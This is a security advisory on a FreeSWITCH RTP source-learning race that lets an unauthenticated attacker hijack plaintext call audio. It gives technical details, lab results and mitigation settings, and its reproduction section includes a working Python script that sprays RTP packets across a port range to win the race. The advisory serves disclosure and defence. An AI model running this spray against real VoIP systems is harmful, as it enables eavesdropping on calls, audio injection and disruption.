- Authors:
- Enable Security research team
- CVSS v4.0:
- Base score: 9.3 Critical
- Exploitability: High
- Complexity: Low
- Attack requirements: None
- Vulnerable system: High availability impact
- Subsequent system: High confidentiality and integrity impact
- Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:H/SI:H/SA:N
- CVE: CVE-2026-119293
- Fixed versions: No default-configured release was verified to close this issue. FreeSWITCH 1.11.2 adds two opt-in channel variables that mitigated persistent takeover in our tests when configured before RTP session creation; verify the effective settings on later releases.
- Enable Security Advisory: https://www.enablesecurity.com/advisories/ES2026-07-freeswitch-rtp-inject-rtp-bleed/
- Vendor Security Advisory: https://github.com/signalwire/freeswitch/security/advisories/GHSA-cw2f-3w8g-4x9q
- Vendor Patch: https://github.com/signalwire/freeswitch/commit/a38cd8073314f7da29b16743b8dbe52fd8505ba7
- Reproduction tools and Docker Compose before/after lab: https://github.com/EnableSecurity/advisories/tree/master/ES2026-07-freeswitch-rtp-inject-rtp-bleed
- Companion advisory: https://www.enablesecurity.com/advisories/ES2026-08-freeswitch-rtp-media-dos/
- Other references:
- Tested vulnerable versions: FreeSWITCH 1.10.12 and FreeSWITCH 1.11.2 with default settings
- Tested mitigated version: FreeSWITCH 1.11.2 with both new channel variables configured
- Affected versions:
- FreeSWITCH 1.0.0 through 1.11.1 are affected in their default configuration.
- FreeSWITCH 1.11.2 remains affected unless the new controls are configured before RTP session creation.
- Timeline:
- First discovery and report to FreeSWITCH developers: 2025-06
- Upstream hardening commit: 2026-08-08
- FreeSWITCH 1.11.2 released: 2026-08-09
- Enable Security verified vulnerable and mitigated behaviour: 2026-08-11
- Enable Security completed additional advisory reproduction and stock-configuration validation: 2026-10-28
- Enable Security submitted the two split GitHub advisories: 2026-10-29
- Vendor advisory published with CVE listed: 2026-11-03
TL;DR
Upgrading to FreeSWITCH 1.11.2 alone does not close this issue. Configure both new RTP source-learning controls before RTP session creation; both default to zero.
An unauthenticated attacker who can reach a FreeSWITCH media port during call setup may win its RTP source-learning race. On a plaintext RTP call, this can redirect audio to the attacker, inject attacker-supplied audio, and stop media delivery to the legitimate endpoint. The attacker need not already be on the media path.
Description
RTP source learning allows media from endpoints behind NAT when the source address differs from the address signalled in SDP. FreeSWITCH counted packets from all non-negotiated sources in one session-wide tally. A packet from the SDP-negotiated source closed the learning window immediately. If the tally reached its threshold first, FreeSWITCH adopted the source of the threshold-crossing packet and the legitimate endpoint could no longer reclaim the session.
On plaintext RTP this causes both:
- RTP Bleed: FreeSWITCH sends call media to the attacker.
- RTP Inject: FreeSWITCH accepts attacker RTP as call media.
The attacker does not need to be on the media path or authenticated. The attacker can target a known media port or continuously spray the configured RTP range before and during call setup.
Technical details
The vulnerable decision is in rtp_common_read() in src/switch_rtp.c:
if (++rtp_session->autoadj_tally >= rtp_session->autoadj_threshold) {
...
switch_rtp_set_remote_address(rtp_session, tx_host,
switch_sockaddr_get_port(rtp_session->rtp_from_addr),
0, SWITCH_FALSE, &err);
switch_rtp_clear_flag(rtp_session, SWITCH_RTP_FLAG_AUTOADJ);
}
The tally was session-wide rather than per source. Once the threshold was reached, remote_addr changed to the threshold-crossing source and auto-adjustment closed. FreeSWITCH then transmitted to that source and accepted its subsequent packets.
We verified the behaviour with separate FreeSWITCH, attacker, and legitimate endpoint containers. The attacker sent RTP first and the endpoint started 400 ms later. Marker-based application injection was measured on vulnerable 1.10.12 and mitigated 1.11.2; default 1.11.2 was separately confirmed to retain the attacker-controlled media path.
| Build and configuration | Legitimate endpoint | Attacker | Echo result |
|---|---|---|---|
| 1.10.12, default | 11 early packets, then none | 19 media packets | 19 attacker-marker packets, 0 legitimate-marker packets |
| 1.11.2, default | 10 early packets, then none | 21 media packets | attacker retained the media path |
| 1.11.2, both controls configured | 30 packets after sending began | 2 transient outbound packets | 0 attacker-marker packets, 30 legitimate-marker packets |
The marker results confirm injection at the application level rather than only an address change. In this test, the configured 1.11.2 controls prevented persistent takeover and application-level injection, but did not prevent all transient disclosure: two outbound packets still reached the attacker before the advertised source was confirmed.
Impact
Successful exploitation compromises the confidentiality, integrity, and availability of one plaintext RTP call. FreeSWITCH sends the audio to the attacker, accepts attacker-supplied media, and stops delivering media to the legitimate endpoint. SIP signalling remains established, but the call is unusable for the affected party.
FreeSWITCH 1.11.1 and earlier are affected by default. FreeSWITCH 1.11.2 also remains affected with the new controls at their default zero values. Configuring both mitigated persistent takeover in our tests, but two transient outbound packets still reached the attacker. The demonstrated confidentiality and integrity impact is limited to plaintext RTP; an attacker without the session keys cannot decrypt or inject valid SRTP. The separate established-session flood is described in ES2026-08.
A blind attack becomes more expensive as the RTP range grows. Against an endpoint that sent immediately, our single sender won 5/5 trials across 21 ports and 0/5 across 101 ports. With 100 to 400 ms test delays, it won consistently across 101 ports. We did not test FreeSWITCH’s default 16,385-port range. More bandwidth, parallel senders, knowledge of the allocated port, or a slower endpoint favour the attacker.
How to reproduce the issue
Use only systems you own or are authorized to test. Use separate hosts or containers for FreeSWITCH, the attacker, and the legitimate SIP endpoint. The Docker Compose before/after lab compares 1.10.12, default 1.11.2, and 1.11.2 with both controls enabled; it also includes a copy of the manual sender.
Install FreeSWITCH 1.10.12, or FreeSWITCH 1.11.2 with default settings.
Configure RTP ports
30000-30020and a dialplan extension that answers and runsecho. Do not use ICE.On the attacker host, start a capture:
tcpdump -i any -w /tmp/freeswitch-rtp.pcap src host <freeswitch-ip> and not icmpSave this as
sprayrtp.py:import argparse import socket import struct import time parser = argparse.ArgumentParser() parser.add_argument("target") parser.add_argument("start_port", type=int) parser.add_argument("end_port", type=int) parser.add_argument("--seconds", type=float, default=10.0) args = parser.parse_args() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind(("0.0.0.0", 41000)) sequence = {port: 0 for port in range(args.start_port, args.end_port + 1)} sent = 0 deadline = time.monotonic() + args.seconds while time.monotonic() < deadline: for port in sequence: seq = sequence[port] packet = struct.pack("!BBHII", 0x80, 0, seq, seq * 160, 0x51515151) packet += b"\x11" * 160 sock.sendto(packet, (args.target, port)) sequence[port] = (seq + 1) & 0xffff sent += 1 print(f"sent={sent}")Start the spray before placing the call. Use an IP address; resolving a hostname on every send reduced the measured rate enough to lose the race.
python3 sprayrtp.py <freeswitch-ip> 30000 30020 --seconds 10This test can generate roughly 1 Gbit/s in the isolated lab. Keep the duration short and do not run it across a production or shared network.
Call the echo extension from the legitimate endpoint and send PCMU RTP.
On a vulnerable system, /usr/local/freeswitch/log/freeswitch.log records Auto Changing audio port to the attacker address and port 41000. The attacker receives RTP from FreeSWITCH while the legitimate endpoint loses media. To confirm application-level injection, open /tmp/freeswitch-rtp.pcap in Wireshark and inspect the returned RTP payload for the repeated 0x11 marker sent by the attacker script.
Repeat on FreeSWITCH 1.11.2 with media negotiation deferred to the dialplan and both controls set before answer. The validated lab used this SIP-profile setting:
<param name="inbound-late-negotiation" value="true"/>
The dialplan applied the controls before media session creation:
<action application="set" data="rtp_auto_adjustment_wait_for_advertised_ms=3000"/>
<action application="set" data="rtp_packet_not_advertised_reject_threshold=5"/>
<action application="answer"/>
<action application="echo"/>
The advertised endpoint should retain the media path and attacker-marker packets should not enter the call. In our test, two transient outbound packets still reached the attacker during initial learning. Treat 3000 and 5 as validation values and test deployment-specific values before production use.
When finished, stop tcpdump, hang up the test call, remove the helper script and capture if they are no longer needed, and restore the original RTP range and SIP-profile/dialplan configuration.
Solutions and recommendations
Upgrade to FreeSWITCH 1.11.2 or later to obtain the new controls. The upgrade alone does not mitigate this source-learning race. The vendor GHSA’s structured package metadata lists 1.11.2 as patched, but its advisory text says both controls default to zero. Check the effective channel settings rather than relying on the version alone.
Before RTP session creation, configure both:
rtp_auto_adjustment_wait_for_advertised_ms rtp_packet_not_advertised_reject_thresholdWe validated 3000 ms and a threshold of 5 together. These are test values, not universal production defaults. Tune them for the deployment’s NAT behaviour, packetization interval, and expected burstiness.
Where practical, use ICE with authenticated connectivity checks or disable RTP auto-adjustment. Disabling it can break media for endpoints behind NAT.
Restrict media UDP access where topology permits and monitor unexpected
Auto Changing audio portentries.
After configuring the controls, verify that a non-advertised source cannot retain the media destination after the SDP-advertised endpoint begins sending. Our configured test still observed two transient outbound packets before confirmation, so do not treat this mitigation as a guarantee that no media can ever reach a racing source.
Acknowledgements
We thank the FreeSWITCH and SignalWire maintainers for developing and releasing the hardening changes and for engaging with us during testing.
About Enable Security
Enable Security develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.
Disclaimer
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
Disclosure policy
This report is subject to Enable Security’s vulnerability disclosure policy which can be found at https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.